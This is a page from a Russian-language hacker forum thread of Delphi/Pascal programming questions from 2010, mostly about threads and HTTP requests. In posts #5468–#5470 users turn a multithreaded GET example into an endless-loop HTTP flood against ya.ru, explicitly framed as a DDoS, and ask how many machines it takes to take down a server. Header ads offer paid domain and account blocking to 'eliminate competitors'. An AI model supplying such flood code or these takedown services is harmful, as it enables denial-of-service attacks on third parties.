[Delphi]/[Pascal] Задай вопрос, получи ответ

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
[Delphi]/[Pascal] Задай вопрос, получи ответ

Страница 547 из 677

547

Опции темы

Поиск в этой теме

Опции просмотра

#5461

14.01.2010, 20:50

НTL

Постоянный

Регистрация: 26.01.2008

Сообщений: 796

С нами: 9626394

Репутация: 357

Цитата:

Сообщение от iGlass

Всем доброго времени суток!

У меня есть вопрос, возможно он глуп но всё же...

Этот код работает на ура...

---------------------------------------------
А этот молчит...

В чём причина?

Заранее спасибо.

Не знаю как у тебя но у меня: Форум АНТИЧАТ - Mozilla Firefox

Вот тебе пища для размышления

#5462

14.01.2010, 20:54

iGlass

Познающий

Регистрация: 14.05.2009

Сообщений: 92

С нами: 8944114

Репутация: 5

Ухахаха, вот я лол :-))) Спасибо ))

#5463

15.01.2010, 18:27

Uname-A

Познающий

Регистрация: 19.08.2008

Сообщений: 69

С нами: 9329667

Репутация: 31

Цитата:

Сообщение от НTL

Как выкинуть диалоговое окно из потока?
Что будет с WebBrowser если нету IE?

1.
synchronize(procedure
begin
showmessage('пыщ пыщ');
end);
2.
Могу предположить, что компонент просто откажется работать, покажет какую нить дефолтную страничку о ошибке

#5464

18.01.2010, 08:47

НTL

Постоянный

Регистрация: 26.01.2008

Сообщений: 796

С нами: 9626394

Репутация: 357

Какой способ будет работать быстрее (UrlDownloadToFile или GetInetFile)?
И как добавить progressbar (или просто узнать размер, и сколько скачено)

#5465

18.01.2010, 10:35

slesh

Познавший АНТИЧАТ

Регистрация: 05.03.2007

Сообщений: 1,985

С нами: 10097606

Репутация: 3349

один фиг ты не заметишь разницы. Потому что канал будет давать наибольшее ограничение, по сравнению с которым разница в скорости этих функций ничтожна

#5466

18.01.2010, 13:56

~~Пуховой~~

Banned

Регистрация: 25.11.2007

Сообщений: 62

С нами: 9715564

Репутация: 89

Цитата:

Покажите на примеры как отправить гет запрос в 10 потоков. Например: idhttp1.Get(http://ya.ru/);

Объявляете.

Код:

type
  Send = class (TThread)
  private
  protected
    procedure Execute; override;
  end;

Создаете.

Код:

procedure send.execute;
var
  s : string;
  http : tidhttp;
begin
  http := tidhttp.create;
  try
    s := http.get ('http://ya.ru/');
  except end;
  {Что-то делаем с данными}
  http.free;
end;

Запускаете.

Код:

function new_send : boolean;
var
  NewThread : Send;
begin
  NewThread := Send.Create(true);
  NewThread.Priority := tpnormal;
  NewThread.FreeOnTerminate := true;
  NewThread.Start;
  Result := true;
end;

for i := 1 to 10 do new_send; - и все, готово.

#5467

19.01.2010, 22:20

НTL

Постоянный

Регистрация: 26.01.2008

Сообщений: 796

С нами: 9626394

Репутация: 357

Поделитесь хорошим генератором multipart/form-data пакетов (ну или только тела пакета)
и чтобы можно было добавлять еще параметры в существующие тела (то есть удалить 2 последние строки, и добавить еще параметр, потом опять закрыть тело пакета)

ПС: Кто в курсе тот поймет

#5468

20.01.2010, 09:00

denjf

Участник форума

Регистрация: 12.11.2008

Сообщений: 146

С нами: 9207335

Репутация: 21

Цитата:

Сообщение от Пуховой

Объявляете.

Код:

type
  Send = class (TThread)
  private
  protected
    procedure Execute; override;
  end;

Создаете.

Код:

procedure send.execute;
var
  s : string;
  http : tidhttp;
begin
  http := tidhttp.create;
  try
    s := http.get ('http://ya.ru/');
  except end;
  {Что-то делаем с данными}
  http.free;
end;

Запускаете.

Код:

function new_send : boolean;
var
  NewThread : Send;
begin
  NewThread := Send.Create(true);
  NewThread.Priority := tpnormal;
  NewThread.FreeOnTerminate := true;
  NewThread.Start;
  Result := true;
end;

for i := 1 to 10 do new_send; - и все, готово.

В связи с недавними событиями ддоса на ачате появился повпрос:

Если сделать так:

Код:

procedure send.execute;
var
  s : string;
  http : tidhttp;
begin
  http := tidhttp.create;
  try
    for i:=1 to 10000000 do  
    s := http.get ('http://ya.ru/');
  except end;
  {Что-то делаем с данными}
  http.free;
end;

for i := 1 to 10000000 do new_send;

И запустить на нескольких компах? это и будет ддос?
Или я чего не догоняю?

#5469

20.01.2010, 10:24

][yZ

Познающий

Регистрация: 03.03.2009

Сообщений: 62

С нами: 9047413

Репутация: 106

denjf, да, но лучше запустить for i := 1 to 100 do new_send; (в 100 потоков) и в процедуре send_execute написать

Код:

var
  http : tidhttp;
begin
  http := tidhttp.create;
  while true do
    try
      http.get ('http://ya.ru/');
    except end;
end;

#5470

20.01.2010, 10:45

denjf

Участник форума

Регистрация: 12.11.2008

Сообщений: 146

С нами: 9207335

Репутация: 21

][yZ
Немного не в тему но все же: Сколько надо компов таких что бы повесить сервак?
несколько сотен или несколько тысяч?

Страница 547 из 677

547

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ!	Alexsize	Беспроводные технологии/Wi-Fi/Wardriving	2571	20.06.2026 14:48
[jQuery] - Задай вопрос, получи ответ	Isis	PHP	62	25.12.2009 03:25

Здесь присутствуют: 17 (пользователей: 0 , гостей: 17)

Быстрый переход